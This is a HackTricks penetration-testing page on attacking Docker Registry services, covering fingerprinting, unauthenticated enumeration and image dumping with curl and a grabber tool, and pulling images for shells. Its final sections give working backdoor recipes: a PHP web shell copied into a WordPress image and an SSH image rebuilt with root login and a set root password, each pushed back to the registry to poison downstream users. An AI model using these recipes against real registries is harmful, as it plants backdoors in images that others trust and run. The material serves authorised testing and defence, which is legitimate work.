5000 - Pentesting Docker Registry - HackTricks

# 5000 - Pentesting Docker Registry

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Information

A storage and distribution system known as a Docker registry is in place for Docker images that are named and may come in multiple versions, distinguished by tags. These images are organized within Docker repositories in the registry, each repository storing various versions of a specific image. The functionality provided allows for images to be downloaded locally or uploaded to the registry, assuming the user has the necessary permissions.

DockerHub serves as the default public registry for Docker, but users also have the option to operate an on-premise version of the open-source Docker registry/distribution or opt for the commercially supported Docker Trusted Registry. Additionally, various other public registries can be found online.

To download an image from an on-premise registry, the following command is used:

    docker pull my-registry:9000/foo/bar:2.1

This command fetches the `foo/bar` image version `2.1` from the on-premise registry at the `my-registry` domain on port `9000`. Conversely, to download the same image from DockerHub, particularly if `2.1` is the latest version, the command simplifies to:

    docker pull foo/bar

Default port: 5000

    PORT    STATE SERVICE  VERSION
    5000/tcp open  http    Docker Registry (API: 2.0)

## Discovering

The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.
Some fingerprints:

- If you access `/` nothing is returned in the response
- If you access `/v2/` then `{}` is returned
- If you access `/v2/_catalog` you may obtain:
  - `{"repositories":["alpine","ubuntu"]}`
  - `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`

## Enumeration

### HTTP/HTTPS

Docker registry may be configured to use HTTP or HTTPS. So the first thing you may need to do is find which one is being configured:

    curl -s http://10.10.10.10:5000/v2/_catalog
    #If HTTPS
    Warning: Binary output can mess up your terminal. Use "--output -" to tell
    Warning: curl to output it to your terminal anyway, or consider "--output
    Warning: <FILE>" to save to a file.

    #If HTTP
    {"repositories":["alpine","ubuntu"]}

### Authentication

Docker registry may also be configured to require authentication:

    curl -k https://192.25.197.3:5000/v2/_catalog
    #If Authentication required
    {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
    #If no authentication required
    {"repositories":["alpine","ubuntu"]}

If the Docker Registry is requiring authentication you can try to brute force it using this.
If you find valid credentials you will need to use them to enumerate the registry, in `curl` you can use them like this:

    curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

### Enumeration using DockerRegistryGrabber

DockerRegistryGrabber is a python tool to enumerate / dump docker degistry (without or with basic authentication)

    usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

         ____   ____    ____
        |  _ \ |  _ \  / ___|
        | | | || |_) || |  _
        | |_| ||  _ < | |_| |
        |____/ |_| \_\ \____|
         Docker Registry grabber tool v2
         by @SyzikSecu

    positional arguments:
      url                URL

    options:
      -h, --help         show this help message and exit
      -p port            port to use (default : 5000)

    Authentication:
      -U USERNAME        Username
      -P PASSWORD        Password
      -A header          Authorization bearer token

    Actions:
      --list
      --dump_all
      --dump DOCKERNAME  DockerName

    Example commands:
      python drg.py http://127.0.0.1 --list
      python drg.py http://127.0.0.1 --dump my-ubuntu
      python drg.py http://127.0.0.1 --dump_all
      python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
      python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
      python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
      python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
      python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
      python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all

    python3 DockerGraber.py http://127.0.0.1  --list

    [+] my-ubuntu
    [+] my-ubuntu2

    python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

    [+] blobSum found 5
    [+] Dumping my-ubuntu
        [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
        [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
        [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
        [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
        [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

    python3 DockerGraber.py http://127.0.0.1  --dump_all

    [+] my-ubuntu
    [+] my-ubuntu2
    [+] blobSum found 5
    [+] Dumping my-ubuntu
        [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
        [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
        [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
        [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
        [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
    [+] blobSum found 5
    [+] Dumping my-ubuntu2
        [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
        [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
        [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
        [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
        [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

### Enumeration using curl

Once you obtained access to the docker registry here are some commands you can use to enumerate it:

    #List repositories
    curl -s http://10.10.10.10:5000/v2/_catalog
    {"repositories":["alpine","ubuntu"]}

    #Get tags of a repository
    curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
    {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

    #Get manifests
    curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
    {
       "schemaVersion": 1,
       "name": "ubuntu",
       "tag": "latest",
       "architecture": "amd64",
       "fsLayers": [
          {
             "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
          },
          {
             "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
          },
          {
             "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
          }
       ],
       "history": [
          {
             "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
          },
          {
             "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
          },
          {
             "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
          }
       ],
       "signatures": [
          {
             "header": {
                "jwk": {
                   "crv": "P-256",
                   "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
                   "kty": "EC",
                   "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
                   "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
                },
                "alg": "ES256"
             },
             "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
             "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
          }
       ]
    }

    #Download one of the previously listed blobs
    curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

    #Inspect the insides of each blob
    tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

> [!WARNING] Note that when you download and decompress the blobs files and folders will appear in the current directory. If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob.

### Enumeration using docker

    #Once you know which images the server is saving (/v2/_catalog) you can pull them
    docker pull 10.10.10.10:5000/ubuntu

    #Check the commands used to create the layers of the image
    docker history 10.10.10.10:5000/ubuntu
    #IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
    #ed05bef01522        2 years ago         ./run.sh                                        46.8MB
    #<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
    #<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
    #<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
    #<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

    #Run and get a shell
    docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
    docker ps #Using a different shell
    docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

### Backdooring WordPress image

In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.
Create the backdoor:

    <?php echo shell_exec($_GET["cmd"]); ?>

Create a Dockerfile:

    FROM 10.10.10.10:5000/wordpress
    COPY shell.php /app/
    RUN chmod 777 /app/shell.php

Create the new image, check it's created, and push it:

    docker build -t 10.10.10.10:5000/wordpress .
     #Create
    docker images
    docker push registry:5000/wordpress #Push it

### Backdooring SSH server image

Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.
Download the image and run it:

    docker pull 10.10.10.10:5000/sshd-docker-cli
    docker run -d 10.10.10.10:5000/sshd-docker-cli

Extract the `sshd_config` file from the SSH image:

    docker cp 4c989242c714:/etc/ssh/sshd_config .

And modify it to set: `PermitRootLogin yes`

Create a Dockerfile like the following one:

{{#tabs}} {{#tab name="Dockerfile"}}

    FROM 10.10.10.10:5000/sshd-docker-cli
    COPY sshd_config /etc/ssh/
    RUN echo root:password | chpasswd

{{#endtab}} {{#endtabs}}

Create the new image, check it's created, and push it:

    docker build -t 10.10.10.10:5000/sshd-docker-cli .
     #Create
    docker images
    docker push registry:5000/sshd-docker-cli #Push it

## References

- https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.